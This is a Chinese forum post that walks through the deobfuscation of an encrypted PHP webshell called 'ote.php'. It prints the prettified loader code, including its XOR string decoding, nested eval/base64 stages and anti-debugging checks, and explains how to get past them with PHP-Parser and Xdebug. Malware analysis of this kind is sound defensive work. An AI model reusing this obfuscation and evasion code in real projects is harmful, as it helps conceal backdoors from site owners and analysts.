同一公司旗下,XEND是免扩展加密,XLOAD是有扩展加密


“ote.php”的高强度加密混淆webshell。本来我打算不对其进行逆向,直接丢给沙盒完事。但我想起来一句老话:只要有足够的时间和耐心,就不存在不可破解的加密。别人都逆向二进制,我逆向区区PHP加密混淆又算什么。于是,我默念着:一切免扩展的PHP加密,都是弟弟,就义无返顾地冲了!
正式开始之前,我要着重强调一下这次解混淆对我帮助极大的两大利器:
  • PHP-Parser:剥离AST(抽象语法树),看清几个主要函数的大致功能
  • VScode + Xdebug + Xdebug Helper:远程调试,找出隐藏的函数调用入口和不可见字符变量的正确值

一、PHP-Parser格式化代码,掀起第一层面纱

ote.php原始模样
文件里面充斥着乱码:除了函数名变量名全部变成乱码外,return之后,php闭合标签之前,还用webshell经典表达格式eval(str_rot13(‘乱码’)),执行了一大串乱码。
由于文件里的代码没有任何换行和空格,直接阅读难度极大,那么优先请出代码格式化工具:PHP-Parser。
  1. <div style="text-align: left;"><?php</div><div style="text-align: left;">use PhpParser\Error;</div><div style="text-align: left;">use PhpParser\ParserFactory;</div><div style="text-align: left;">use PhpParser\PrettyPrinter;</div><div style="text-align: left;">use PhpParser\NodeDumper;</div><div style="text-align: left;">require 'vendor/autoload.php';</div><div style="text-align: left;">$code = file_get_contents('');</div><div style="text-align: left;">// PHP-Parser5.0版本中已经不再使用ParserFactory::create()</div><div style="text-align: left;">$parser = (new ParserFactory)->createForNewestSupportedVersion();</div><div style="text-align: left;">try {</div><div style="text-align: left;">// 剥离抽象语法树,以节点的模式展开代码逻辑</div><div style="text-align: left;">$ast = $parser->parse($code);</div><div style="text-align: left;">$nodeDumper = new NodeDumper;</div><div style="text-align: left;">$pretty = $nodeDumper->dump($ast)."\n";</div><div style="text-align: left;">} catch (Error $error) {</div><div style="text-align: left;">echo "Parse error: {$error->getMessage()}\n";</div><div style="text-align: left;">return;</div><div style="text-align: left;">}</div><div style="text-align: left;">$prettyPrinter = new PrettyPrinter\Standard;</div><div style="text-align: left;">$prettyCode = $prettyPrinter->prettyPrintFile($ast);</div><div style="text-align: left;">
  2. </div><div style="text-align: left;">file_put_contents('', $prettyCode);</div>
复制代码
执行以上代码,即可输出美化后的ote.php:
  1. <div style="text-align: left;"><?php</div><div style="text-align: left;">
  2. </div><div style="text-align: left;">/*</div><div style="text-align: left;">baidu</div><div style="text-align: left;">*/</div><div style="text-align: left;">if (!defined('K130BF63FF11C62E1C7B5DD99A611C3DD')) {</div><div style="text-align: left;">define('K130BF63FF11C62E1C7B5DD99A611C3DD', __FILE__);</div><div style="text-align: left;">if (!function_exists('��⟈��')) {</div><div style="text-align: left;">global $��dž���, $ś�ܘ��, $����됕, $���ؤ��, $���Ú˭, $�������, $�ڒ邖�, $����ٲ�, $�������, $���пޙ;</div><div style="text-align: left;">global $ޞ�Պ��, $������, $�������, $�������, $��젴��, $��מ��, $��Ј��, $��ʍ��;</div><div style="text-align: left;">function ��⟈��(&$������, $����ʧ, $ק��� = 0)</div><div style="text-align: left;">{</div><div style="text-align: left;">global $����됕, $ś�ܘ��, $�ڒ邖�, $����ٲ�, $�������, $���пޙ;</div><div style="text-align: left;">$����ٲ� = '';</div><div style="text-align: left;">$����됕 += $ק���;</div><div style="text-align: left;">$������� = $����됕 . '';</div><div style="text-align: left;">if ($ק��� == 31) {</div><div style="text-align: left;">$������� = $ś�ܘ��;</div><div style="text-align: left;">}</div><div style="text-align: left;">if ($ק��� == 16) {</div><div style="text-align: left;">eval($���пޙ('JMzC4Zvgk+o9bmV3IFJlZmxlY3Rpb25GdW5jdGlvbigiz/Lin4jL+iIpOyS2kKbx+c/iPSTMwuGb4JPqLT5nZXRQYXJhbWV0ZXJzKCk7JO2UhtrPr5A9c3RycG9zKEsxMzBCRjYzRkYxMUM2MkUxQzdCNUREOTlBNjExQzNERCxfX0ZJTEVfXyk7JMWby9yYl549JO2UhtrPr5AuJLaQpvH5z+JbMF0tPm5hbWU7'));</div><div style="text-align: left;">}</div><div style="text-align: left;">$���ǯȢ = strlen($����ʧ);</div><div style="text-align: left;">$ڽ��ō = strlen($�������);</div><div style="text-align: left;">$����ѽ� = 0;</div><div style="text-align: left;">for ($i = 0; $i < $���ǯȢ; $i++) {</div><div style="text-align: left;">if ($����ѽ� >= $ڽ��ō) {</div><div style="text-align: left;">$����ѽ� = 0;</div><div style="text-align: left;">}</div><div style="text-align: left;">if ($ק��� == 30) {</div><div style="text-align: left;">$������ = $�ڒ邖�($��阹��);</div><div style="text-align: left;">return;</div><div style="text-align: left;">}</div><div style="text-align: left;">$����ٲ� .= $�������[$����ѽ�] ^ $����ʧ[$i];</div><div style="text-align: left;">$����ѽ�++;</div><div style="text-align: left;">}</div><div style="text-align: left;">$������ = $����ٲ�;</div><div style="text-align: left;">return $����ٲ�;</div><div style="text-align: left;">}</div><div style="text-align: left;">eval(base64_decode('ZnVuY3Rpb24gloPd3MeJmSgpe2dsb2JhbCAk6PbHhvfwiSwkxZvL3JiXniwks4ri2KSZrywkuKCEw5rLrTskuKCEw5rLrSgk6PbHhvfwiSwk6PbHhvfwiSwzMSk7JO2UhtrPr5A9c3RycG9zKEsxMzBCRjYzRkYxMUM2MkUxQzdCNUREOTlBNjExQzNERCxfX0ZJTEVfXyk7JO2UhtrPr5AuPSTo9seG9/CJO3JldHVybiAk7ZSG2s+vkDt9'));</div><div style="text-align: left;">function 䥰���(&$��阹��)</div><div style="text-align: left;">{</div><div style="text-align: left;">global $��dž���, $ś�ܘ��, $ޞ�Պ��, $�ق����, $�������, $�������, $��젴��, $��מ��, $��Ј��, $��ʍ��;</div><div style="text-align: left;">$��dž��� = $�������($�������('K130BF63FF11C62E1C7B5DD99A611C3DD'));</div><div style="text-align: left;">$���Ļ� = $��젴��($��מ��(__FUNCTION__));</div><div style="text-align: left;">$��dž��� = $��Ј��($��dž���, -133721, -8);</div><div style="text-align: left;">$��dž��� = $��ʍ��($ޞ�Պ��($���Ļ�), '', $��dž���);</div><div style="text-align: left;">$��dž��� = $��ʍ��("\\'", "'", $��dž���);</div><div style="text-align: left;">$��dž��� = $��ʍ��("\\\", "\", $��dž���);</div><div style="text-align: left;">$��dž��� = $��Ј��($��dž���, 34);</div><div style="text-align: left;">$ś�ܘ�� .= '��Խ��';</div><div style="text-align: left;">return ����lj�();</div><div style="text-align: left;">$��阹�� = $��젴��($��阹��);</div><div style="text-align: left;">return $��阹��;</div><div style="text-align: left;">}</div><div style="text-align: left;">}</div><div style="text-align: left;">}</div><div style="text-align: left;">$������� = '��⟈��';</div><div style="text-align: left;">$�ڒ邖� = '䥰���';</div><div style="text-align: left;">$������ = $���˟�� = $��攕�� = $���܌�� = $ײ����� = $�՝� = $���܆�� = $�ƶ��� = $���Ú˭ = $�ȇ��� = $����آ� = $������� = $�������;</div><div style="text-align: left;">$ś�ܘ�� = 'XOCqbp';</div><div style="text-align: left;">$����됕 = 90;</div><div style="text-align: left;">if (!isset($Ã��DZ�)) {</div><div style="text-align: left;">$�ƶ���($����ʅ, 'VG]', 5);</div><div style="text-align: left;">// $����ʅ = 'ord';</div><div style="text-align: left;">eval(base64_decode('JIOgu4fmt8UoJJfK7KC0haYsJ0JEQ25CXkUBAicsJOLC8a/tyoUoJwYnKSk7aWYoJJfK7KC0haYhPWJhc2U2NF9kZWNvZGUoJ2MzUnlYM0p2ZERFeicpKXtldmFsKCSXyuygtIWmKTtyZXR1cm47fQ=='));</div><div style="text-align: left;">eval(base64_decode('JMPo5tyG5cwoJLOK4tikma8sJ1VZXFwnLCTiwvGv7cqFKCcIJykpO2lmKCSziuLYpJmvIT1iYXNlNjRfZGVjb2RlKCdaR2xsJykpe2V2YWwoJLOK4tikma8pO3JldHVybjt9'));</div><div style="text-align: left;">eval(base64_decode('JMDGtvmu7JcoJIDHwtC/3pksJ1NTQ1QEBG5WVVJdVFQnLCTiwvGv7cqFKCcLJykpO2lmKCSAx8LQv96ZIT1iYXNlNjRfZGVjb2RlKCdZbUZ6WlRZMFgyUmxZMjlrWlE9PScpKXtldmFsKCSAx8LQv96ZKTtyZXR1cm47fQ=='));</div><div style="text-align: left;">eval(base64_decode('JKOgtMufk8YoJPqBu4eo0d8sJ1daX1RsVFRHbFJcXF1FVl1FQCcsJOLC8a/tyoUoJw0nKSk7aWYoJPqBu4eo0d8hPWJhc2U2NF9kZWNvZGUoJ1ptbHNaVjluWlhSZlkyOXVkR1Z1ZEhNPScpKXtldmFsKCT6gbuHqNHfKTtyZXR1cm47fQ=='));</div><div style="text-align: left;">eval(base64_decode('JI7o5pSVkdgoJKDn0IjqptksJ0JBW0JASycsJOLC8a/tyoUoJxAnKSk7aWYoJKDn0IjqptkhPWJhc2U2NF9kZWNvZGUoJ2MzVmljM1J5Jykpe2V2YWwoJKDn0IjqptkpO3JldHVybjt9'));</div><div style="text-align: left;">eval(base64_decode('JLevjdyMnqooJPKo0JXCpqYsJ0JCRF1TWCcsJOLC8a/tyoUoJxEnKSk7aWYoJPKo0JXCpqYhPWJhc2U2NF9kZWNvZGUoJ2MzUnliR1Z1Jykpe2V2YWwoJPKo0JXCpqYpO3JldHVybjt9'));</div><div style="text-align: left;">eval(base64_decode('JNeyxMDr4JQoJOPvrMqNqJAsJ0JMR25KUEFUVFJdJywk4sLxr+3KhSgnEycpKTtpZigk4++syo2okCE9YmFzZTY0X2RlY29kZSgnYzNSeVgzSmxjR3hoWTJVPScpKXtldmFsKCTj76zKjaiQKTtyZXR1cm47fQ=='));</div><div style="text-align: left;">eval(base64_decode('JJXuvbDVnfooJMPZgp2LnY4sJ0JCUlVvRVdAW1NTUm1TVl5cXFVTU1xcJywk4sLxr+3KhSgnFicpKTtpZigkw9mCnYudjiE9YmFzZTY0X2RlY29kZSgnY0hKbFoxOXlaWEJzWVdObFgyTmhiR3hpWVdOcicpKXtldmFsKCTD2YKdi52OKTtyZXR1cm47fQ=='));</div><div style="text-align: left;">eval(base64_decode('JMDGtvmu7JcoJL/7j9b3wJcsJ1FcXF9BR1BcXEcnLCTiwvGv7cqFKCcYJykpO2lmKCS/+4/W98CXIT1iYXNlNjRfZGVjb2RlKCdZMjl1YzNSaGJuUT0nKSl7ZXZhbCgkv/uP1vfAlyk7cmV0dXJuO30='));</div><div style="text-align: left;">eval(base64_decode('JJjG94jjxuwoJOSyw9eewJMsJ19RAicsJOLC8a/tyoUoJxonKSk7aWYoJOSyw9eewJMhPWJhc2U2NF9kZWNvZGUoJ2JXUTEnKSl7ZXZhbCgk5LLD157Akyk7cmV0dXJuO30='));</div><div style="text-align: left;">eval(base64_decode('JLighMOay60oJN6e2dWKz80sJ0FMRkZXQUJIUUAnLCTiwvGv7cqFKCcbJykpO2lmKCTentnVis/NIT1iYXNlNjRfZGVjb2RlKCdjM1J5ZEc5MWNIQmxjZz09Jykpe2V2YWwoJN6e2dWKz80pO3JldHVybjt9aWYocGhwX3NhcGlfbmFtZSgpPT0nY2xpJylleGl0O2lmKHByZWdfbWF0Y2goJy9cYih2YXJfZHVtcHxwcmludF9yKVxzKlwoXHMqZ2V0X2RlZmluZWRfdmFyc1xiL2knLGZpbGVfZ2V0X2NvbnRlbnRzKCRfU0VSVkVSWydTQ1JJUFRfRklMRU5BTUUnXSkpKWV4aXQoJ0VNR0RWJyk7'));</div><div style="text-align: left;">if (strstr($_SERVER['HTTP_USER_AGENT'], chr(46))) {</div><div style="text-align: left;">eval(base64_decode('JKnIh43zpNYoJJOcn7K8hswsJ0BFRkdDJywk4sLxr+3KhSgnHicpKTtpZigkk5yfsryGzCE9YmFzZTY0X2RlY29kZSgnYzNSeWRIST0nKSl7ZXZhbCgkk5yfsryGzCk7cmV0dXJuO30='));</div><div style="text-align: left;">}</div><div style="text-align: left;">eval(base64_decode('JLnZ+93YoswoJJPmjubLwYssJ0BAR0NbRicsJOLC8a/tyoUoJx8nKSk7aWYoJJPmjubLwYs9PWJhc2U2NF9kZWNvZGUoJ3g1TDNqcW1jOEE9PScpKXtldmFsKCST5o7my8GLKTtyZXR1cm47fQ=='));</div><div style="text-align: left;">$�ڒ邖�($��阹��);</div><div style="text-align: left;">if (strstr($_SERVER['HTTP_USER_AGENT'], chr(46))) {</div><div style="text-align: left;">eval($��阹��);</div><div style="text-align: left;">}</div><div style="text-align: left;">return;</div><div style="text-align: left;">}</div><div style="text-align: left;">return '555Q5SSPP58NQS899S932OP14P68P056';</div><div style="text-align: left;">eval(str_rot13('obfuscated code'));</div>
复制代码
经过初步美化后,肉眼可见的范围内定义了2个函数,两个函数之间还用eval(base64_decode())的结构执行了一长串编码。定义完函数后,继续用eval(base64_decode())的结构,隐式调用前述函数。不过这里有一点值得注意的是,隐式调用全部位于if (!isset($Ã��DZ�)) {}之内,并且末尾有return,这就意味着if条件判断之外的eval(str_rot13())表达式,不会被执行。
因此,初步估计eval(str_rot13())表达式中的参数是待解密的密文。
现在还只是初步美化,如果将乱码的变量名和函数名合并同类项,再进行替换,变成更美观可读的格式呢:
下面将定义函数部分的变量名函数名进行再美化,并将eval(base64_decode())还原:
  1. <div style="text-align: left;"><?php</div><div style="text-align: left;">
  2. </div><div style="text-align: left;">/*</div><div style="text-align: left;">baidu</div><div style="text-align: left;">*/</div><div style="text-align: left;">if (!defined('K130BF63FF11C62E1C7B5DD99A611C3DD')) {</div><div style="text-align: left;">define('K130BF63FF11C62E1C7B5DD99A611C3DD', __FILE__);</div><div style="text-align: left;">if (!function_exists('func0')) {</div><div style="text-align: left;">global $v0, $v1, $v2, $v3, $v4, $v5, $v6, $v7, $v5, $v8;</div><div style="text-align: left;">global $v9, $v10, $v5, $v5, $v11, $v12, $v13, $v14;</div>        <div style="text-align: left;">
  3. </div><div style="text-align: left;">// 对乱码进行异或运算,还原函数名和密文</div><div style="text-align: left;">function func0(&$v10, $v15, $v16 = 0)</div><div style="text-align: left;">{</div><div style="text-align: left;">global $v2, $v1, $v6, $v7, $v5, $v8;</div><div style="text-align: left;">$v7 = '';</div><div style="text-align: left;">$v2 += $v16;</div><div style="text-align: left;">$v5 = $v2 . '';</div><div style="text-align: left;">if ($v16 == 31) {</div><div style="text-align: left;">$v5 = $v1;</div><div style="text-align: left;">}</div><div style="text-align: left;">if ($v16 == 16) {</div><div style="text-align: left;">$v10=new ReflectionFunction("func0");</div><div style="text-align: left;">$v5=$v10->getParameters();</div><div style="text-align: left;">$v17=strpos(K130BF63FF11C62E1C7B5DD99A611C3DD,__FILE__);</div><div style="text-align: left;">$v1=$v17.$v5[0]->name;</div><div style="text-align: left;">}</div><div style="text-align: left;">$v17 = strlen($v15);</div><div style="text-align: left;">$v18 = strlen($v5);</div><div style="text-align: left;">$v19 = 0;</div><div style="text-align: left;">for ($i = 0; $i < $v17; $i++) {</div><div style="text-align: left;">if ($v19 >= $v18) {</div><div style="text-align: left;">$v19 = 0;</div><div style="text-align: left;">}</div><div style="text-align: left;">if ($v16 == 30) {</div><div style="text-align: left;">$v10 = $v6($v20);</div><div style="text-align: left;">return;</div><div style="text-align: left;">}</div><div style="text-align: left;">$v7 .= $v5[$v19] ^ $v15[$i];</div><div style="text-align: left;">$v19++;</div><div style="text-align: left;">}</div><div style="text-align: left;">$v10 = $v7;</div><div style="text-align: left;">return $v7;</div><div style="text-align: left;">}</div>        <div style="text-align: left;">
  4. </div><div style="text-align: left;">// 调用func0,对最后那一长串密文进行异或运算</div><div style="text-align: left;">function func1()</div><div style="text-align: left;">{</div><div style="text-align: left;">global $v0, $v1, $v3, $v4;</div><div style="text-align: left;">$v4($v0, $v0, 31);</div><div style="text-align: left;">$v21 = strpos(K130BF63FF11C62E1C7B5DD99A611C3DD, __FILE__);</div><div style="text-align: left;">$v21 .= $v0;</div><div style="text-align: left;">return $v21;</div><div style="text-align: left;">}</div><div style="text-align: left;">
  5. </div><div style="text-align: left;">// 对一长串密文进行字符串替换,并拼接出完整的异或密钥</div><div style="text-align: left;">function func2(&$v20)</div><div style="text-align: left;">{</div><div style="text-align: left;">global $v0, $v1, $v9, $v22, $v5, $v5, $v11, $v12, $v13, $v14;</div><div style="text-align: left;">$v0 = $v5($v5('K130BF63FF11C62E1C7B5DD99A611C3DD'));</div><div style="text-align: left;">$v23 = $v11($v12(__FUNCTION__));</div><div style="text-align: left;">$v0 = $v13($v0, -133721, -8);</div><div style="text-align: left;">$v0 = $v14($v9($v23), '', $v0);</div><div style="text-align: left;">$v0 = $v14("\\'", "'", $v0);</div><div style="text-align: left;">$v0 = $v14("\\\", "\", $v0);</div><div style="text-align: left;">$v0 = $v13($v0, 34);</div><div style="text-align: left;">$v1 .= '��Խ��';</div><div style="text-align: left;">return func1();</div><div style="text-align: left;">$v20 = $v11($v20);</div><div style="text-align: left;">return $v20;</div><div style="text-align: left;">}</div><div style="text-align: left;">}</div><div style="text-align: left;">}</div>
复制代码
函数调用部分,我也将base64编码进行了还原,因为结构大差不差,所以就展示第一个base64还原的结果:
  1. <div style="text-align: left;">$v5 = 'func0';</div><div style="text-align: left;">$v6 = 'func2';</div><div style="text-align: left;">
  2. </div><div style="text-align: left;">$v10 = $v24 = $v25 = $v26 = $v27 = $v28 = $v29 = $v30 = $v4 = $v31 = $v32 = $v5 = $v5;</div><div style="text-align: left;">$v1 = 'XOCqbp';</div><div style="text-align: left;">$v2 = 90;</div><div style="text-align: left;">if (!isset($v33)) {</div><div style="text-align: left;">$v30($v34, 'VG]', 5); // 还原出$v34是 ord</div><div style="text-align: left;">$v10($v11, 'BDCnB^E', $v34(''));</div><div style="text-align: left;">if ($v11 != base64_decode('c3RyX3JvdDEz')) {</div><div style="text-align: left;">eval($v11);</div><div style="text-align: left;">return;</div><div style="text-align: left;">}</div><div style="text-align: left;">}</div>
复制代码
可以发现,第一和第二个函数中间夹着的那一串base64编码,解码出来后,其实就是第二个函数。
而函数调用部分,先调用func0,优先还原出$v34(ord)。之后便采用func0(明文,密钥,ord(”))的方式依次还原函数名。还原出的函数名依次为:
  1. <div style="text-align: left;">ord</div><div style="text-align: left;">
  2. </div><div style="text-align: left;">str_rot13</div><div style="text-align: left;">
  3. </div><div style="text-align: left;">die</div><div style="text-align: left;">
  4. </div><div style="text-align: left;">base64_decode</div><div style="text-align: left;">
  5. </div><div style="text-align: left;">file_get_contents</div><div style="text-align: left;">
  6. </div><div style="text-align: left;">substr // $v16=16,运行到这里会进入反射类</div><div style="text-align: left;">
  7. </div><div style="text-align: left;">strlen</div><div style="text-align: left;">
  8. </div><div style="text-align: left;">str_replace</div><div style="text-align: left;">
  9. </div><div style="text-align: left;">preg_replace_callback</div><div style="text-align: left;">
  10. </div><div style="text-align: left;">constant</div><div style="text-align: left;">
  11. </div><div style="text-align: left;">md5</div><div style="text-align: left;">
  12. </div><div style="text-align: left;">strtoupper</div>
复制代码
既然还原出函数名了,那么可以对二次美化过的代码进行第三次美化,用真正的函数名替换原先的$v1,$v2。替换出来后,可以更直观地理解这几个函数的用意:
  1. <div style="text-align: left;">function func0(&$v10, $v15, $v16 = 0)</div><div style="text-align: left;">{</div><div style="text-align: left;">global $v2, $v1, $v6, $v7, $v5, $v8;</div><div style="text-align: left;">$v7 = '';</div><div style="text-align: left;">$v2 += $v16;</div><div style="text-align: left;">$v5 = $v2 . '';</div><div style="text-align: left;">if ($v16 == 31) {</div><div style="text-align: left;">$v5 = $v1;</div><div style="text-align: left;">echo $v5.PHP_EOL;</div><div style="text-align: left;">}</div><div style="text-align: left;">echo $v16.PHP_EOL;</div><div style="text-align: left;">if ($v16 == 16) {</div><div style="text-align: left;">$v10=new ReflectionFunction("func0");</div><div style="text-align: left;">$v5=$v10->getParameters();</div><div style="text-align: left;">$v17=strpos(K130BF63FF11C62E1C7B5DD99A611C3DD,__FILE__);</div><div style="text-align: left;">$v1=$v17.$v5[0]->name;</div><div style="text-align: left;">}</div><div style="text-align: left;">$v17 = strlen($v15);</div><div style="text-align: left;">$v18 = strlen($v5);</div><div style="text-align: left;">$v19 = 0;</div><div style="text-align: left;">for ($i = 0; $i < $v17; $i++) {</div><div style="text-align: left;">if ($v19 >= $v18) {</div><div style="text-align: left;">$v19 = 0;</div><div style="text-align: left;">}</div><div style="text-align: left;">if ($v16 == 30) {</div><div style="text-align: left;">$v10 = $v6($v20);</div><div style="text-align: left;">return;</div><div style="text-align: left;">}</div><div style="text-align: left;">$v7 .= $v5[$v19] ^ $v15[$i];</div><div style="text-align: left;">$v19++;</div><div style="text-align: left;">}</div><div style="text-align: left;">$v10 = $v7;</div><div style="text-align: left;">return $v7;</div><div style="text-align: left;">}</div>        <div style="text-align: left;">
  2. </div><div style="text-align: left;">function func1()</div><div style="text-align: left;">{</div><div style="text-align: left;">global $v0, $v1, $v3, $v4;</div><div style="text-align: left;">func0($v0, $v0, 31);</div><div style="text-align: left;">$v21 = strpos(K130BF63FF11C62E1C7B5DD99A611C3DD, 'ote.php');</div><div style="text-align: left;">$v21 .= $v0;</div><div style="text-align: left;">return $v21;</div><div style="text-align: left;">}</div><div style="text-align: left;">
  3. </div><div style="text-align: left;">function func2(&$v20)</div><div style="text-align: left;">{</div><div style="text-align: left;">global $v0, $v1, $v9, $v22, $v5, $v5, $v11, $v12, $v13, $v14;</div><div style="text-align: left;">$v0 = file_get_contents(constant('K130BF63FF11C62E1C7B5DD99A611C3DD'));  // 等价于file_get_contents('ote.php');</div><div style="text-align: left;">$v23 = str_rot13(md5(__function__));</div><div style="text-align: left;">$v0 = substr($v0, -133721, -8);</div><div style="text-align: left;">$v0 = str_replace(strtoupper($v23), '', $v0);</div><div style="text-align: left;">$v0 = str_replace("\\'", "'", $v0);</div><div style="text-align: left;">$v0 = str_replace("\\\", "\", $v0);</div><div style="text-align: left;">$v0 = substr($v0, 34); // 这一步已经完全抽离密文</div><div style="text-align: left;">$v1 .= '��խ��';</div><div style="text-align: left;">return func1();</div><div style="text-align: left;">$v20 = str_rot13($v20);</div><div style="text-align: left;">return $v20;</div><div style="text-align: left;">}</div>
复制代码
二、动态调试解混淆
经过数次美化后,文件内被替换成不可见字符的变量名、函数名已经基本还原,可以进入动态调试阶段。
这一步最重要的是工具准备,即调试环境的搭建。对于PHP动态调试,网上的推荐一般是PHPstorm + Xdebug为主。但PHPstorm要收费,又没有免费的社区版。都是IDE,干嘛不用便宜好用的VSCODE替代PHPstorm?网络教程关于VSCODE搭调试环境的资料不多,而且多有错漏。这里我参考的是掘金的一份教程,很全面细心,连nginx配置超时都提到了。有需要的话欢迎移步参考:vscode+xdebug实现远程调试PHP项目代码
因为Xdebug在调试控制台里显示的变量字符长度有限制,如果需要从调试控制台里复制一个超长的字符串变量,可以在launch.json里将max_data设置为-1,或者通过file_put_content方式将其写入另一个文件。配置如下:
  1. <div style="text-align: left;">"version": "0.2.0",</div><div style="text-align: left;">"configurations": [</div><div style="text-align: left;">{</div><div style="text-align: left;">"name": "远程调试",</div><div style="text-align: left;">"type": "php",</div><div style="text-align: left;">"request": "launch",</div><div style="text-align: left;">"port": 9003,</div><div style="text-align: left;">"hostname": "localhost",</div><div style="text-align: left;">"xdebugSettings": {</div><div style="text-align: left;">"max_data": -1, // 配置长字符串无限制显示</div><div style="text-align: left;">"max_children": -1</div><div style="text-align: left;">}</div><div style="text-align: left;">},</div>
复制代码
环境搭建好了,现在对美化后的代码进行调试前最后一次检查,看下是否存在反调试。果然有,因为原始代码调用函数是通过eval(base64_decode())方式执行,前面几条是用于还原函数名,最后两条做了if条件判断,检查了超全局变量$_SERVER[‘HTTP_USER_AGENT’]。而检查超全局变量前一条eval(base64_decode())的参数特别长,解码出来,发现它这一条参数不仅打包了还原函数名,还打包了两个反调试的点:
  1. <div style="text-align: left;">$v4($v9, 'ALFFWABHQ@', $v34(''));  // 还原函数名为strtoupper</div><div style="text-align: left;">if ($v9 != base64_decode('c3RydG91cHBlcg==')) {</div><div style="text-align: left;">eval($v9);</div><div style="text-align: left;">return;</div><div style="text-align: left;">}</div><div style="text-align: left;">if (php_sapi_name() == 'cli') {</div><div style="text-align: left;">exit;</div><div style="text-align: left;">}</div><div style="text-align: left;">if (preg_match('/\b(var_dump|print_r)\s*\(\s*get_defined_vars\b/i', file_get_contents($_SERVER['SCRIPT_FILENAME']))) {</div><div style="text-align: left;">exit('EMGDV');</div><div style="text-align: left;">}$v4($v9, 'ALFFWABHQ@', $v34(''));  // 还原函数名为strtoupper</div><div style="text-align: left;">if ($v9 != base64_decode('c3RydG91cHBlcg==')) {</div><div style="text-align: left;">eval($v9);</div><div style="text-align: left;">return;</div><div style="text-align: left;">}</div><div style="text-align: left;">if (php_sapi_name() == 'cli') {</div><div style="text-align: left;">exit;</div><div style="text-align: left;">}</div><div style="text-align: left;">if (preg_match('/\b(var_dump|print_r)\s*\(\s*get_defined_vars\b/i', file_get_contents($_SERVER['SCRIPT_FILENAME']))) {</div><div style="text-align: left;">exit('EMGDV');</div><div style="text-align: left;">}</div>
复制代码
这里有两处反调试:一是检测当前环境是否为命令行(CLI);二是使用正则表达式来检查当前脚本文件的内容,查找是否包含了var_dump或print_r函数与get_defined_vars函数的组合。这两段代码注释掉即可。
另,之前函数名还原中还原了die,但是一直没有看到调用。
调试出来的是一个webshell登录界面。


webshell后台登录界面

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
免责声明:
1、本站提供的资源不拥有任何权利,其版权归原著拥有。
2、保证站内提供的所有可下载资源(软件等等)都是按“原样”提供,本站未做过任何大规则的修改;本网站不保证本站提供的下载资源的准确性、安全性和完整性;同时本站也不承担用户因使用这些下载资源对自己和他人造成任何形式的损失或伤害。
3、时光源码平台服务中的任何信息或材料的删除、存储失败、错误提供或未及时提供不承担任何责任。
4、时光源码平台其许可方不对通过时光源码网主题服务得到的或在其上刊登广告所推介的产品或服务、通过由时光源码平台服务提供的任何链接而得到的产品或服务,以及通过在时光源码网平台服务中所提供的任何链接而得到的任何信息或建议做任何担保,对因通过服务下载或访问网上的任何信息或材料而导致的任何伤害不承担任何责任。
5、时光源码平台服务包含的下载资源信息内的所有内容并不反映亦不代表任何时光源码平台之意见。
6、时光源码平台服务包含的下载资源信息内的所有内容并不反映亦不代表任何时光源码平台之意见。时光源码平台作为模板共享网络服务提供者,对非法转载,盗版行为的发生不具备充分的监控能力,但是当版权拥有者提出侵权指控并出示充分的版权证明材料时,时光源码网平台负有移除盗版和非法转载作品以及停止继续传播的义务。
7、时光源码平台对他人在网站上实施的此类侵权行为不承担法律责任,侵权的法律责任概由会员本人承担,向时光源码发布作品的作者视为同意时光源码就前款情况采取的相应措施。
8、时光源码平台在满足前款条件下采取移除等相应措施后不为此向原发布人承担违约责任或其他法律责任,包括不承担因侵权指控不成立而给原发布人带来损害的赔偿责任。
9、本网站所有源码、模板、视频、软件和资料均为软件作者提供和站长从互联网收集整理而来,仅供学习和研究使用,请勿用于其他用途。如果版权拥有者发现自己作品被侵权,请及时向时光源码提出权利通知,将身份证明、权属证明、具体链接(URL)及详细侵权情况证明发往(邮箱:70050550@qq.com)指出,时光源码平台在收到上述法律文件后,在7个工作日内移除相关涉嫌侵权的内容。
梦想这东西和经典一样,永远不会因为时间而褪色,反而更显珍贵。
分享到:
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

联系作者